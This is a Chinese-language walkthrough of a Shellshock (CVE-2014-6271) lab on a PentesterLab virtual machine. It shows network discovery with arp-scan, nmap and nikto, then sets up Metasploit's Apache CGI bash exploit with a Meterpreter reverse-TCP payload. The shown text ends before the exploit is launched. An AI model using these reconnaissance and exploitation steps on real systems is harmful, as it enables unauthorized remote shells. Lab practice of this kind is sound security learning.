$ sudo arp-scan -l [sudo] password for susu: Interface: eth0, type: EN10MB, MAC: ***********, IPv4: 192.168.20.134 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.20.1 00:50:56:c0:00:08 VMware, Inc. 192.168.20.2 00:50:56:e6:11:13 VMware, Inc. 192.168.20.131 00:0c:29:86:4c:69 VMware, Inc. <------這次的目標 192.168.20.254 00:50:56:e3:02:85 VMware, Inc.
2. 使用nmap尋找目標主機有哪些服務
shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ nmap -A 192.168.20.131 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-05 15:35 CST Nmap scan report for 192.168.20.131 Host is up (0.0013s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0 (protocol 2.0) | ssh-hostkey: | 1024 8b:4c:a0:14:1c:3c:8c:29:3a:16:1c:f8:1a:70:2a:f3 (DSA) | 2048 d9:91:5d:c3:ed:78:b5:8c:9a:22:34:69:d5:68:6d:4e (RSA) |_ 256 b2:23:9a:fa:a7:7a:cb:cd:30:85:f9:cb:b8:17:ae:05 (ECDSA) 80/tcp open http Apache httpd 2.2.21 ((Unix) DAV/2) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.2.21 (Unix) DAV/2 |_http-title: [PentesterLab] CVE-2014-6271
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
$ nikto -h 192.168.20.131 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.20.131 + Target Hostname: 192.168.20.131 + Target Port: 80 + Start Time: 2021-12-05 15:35:33 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (Unix) DAV/2 + Server may leak inodes via ETags, header found with file /, inode: 7725, size: 1704, mtime: Thu Sep 25 17:56:50 2014 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Uncommon header '93e4r0-cve-2014-6278' found, with contents: true + OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271). + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /css/: Directory indexing found. + OSVDB-3092: /css/: This might be interesting... + 8725 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2021-12-05 15:36:01 (GMT8) (28 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
我們可在報告中發現在/cgi-bin/status有可疑漏洞
shell
1
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPATH /bin yes Target PATH for binaries used by the CmdStager RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.20.134 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Linux x86
我們需要設定以下這幾個options
lhost 攻擊者ip
rhost 目標主機ip
payload 攻擊成功後要做的動作
targeturi 目標的漏洞網頁
shell
1 2 3 4 5 6 7 8
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 192.168.20.134 lhost => 192.168.20.134 msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 192.168.20.131 rhost => 192.168.20.131 msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi http://192.168.20.131/cgi-bin/status targeturi => http://192.168.20.131/cgi-bin/status
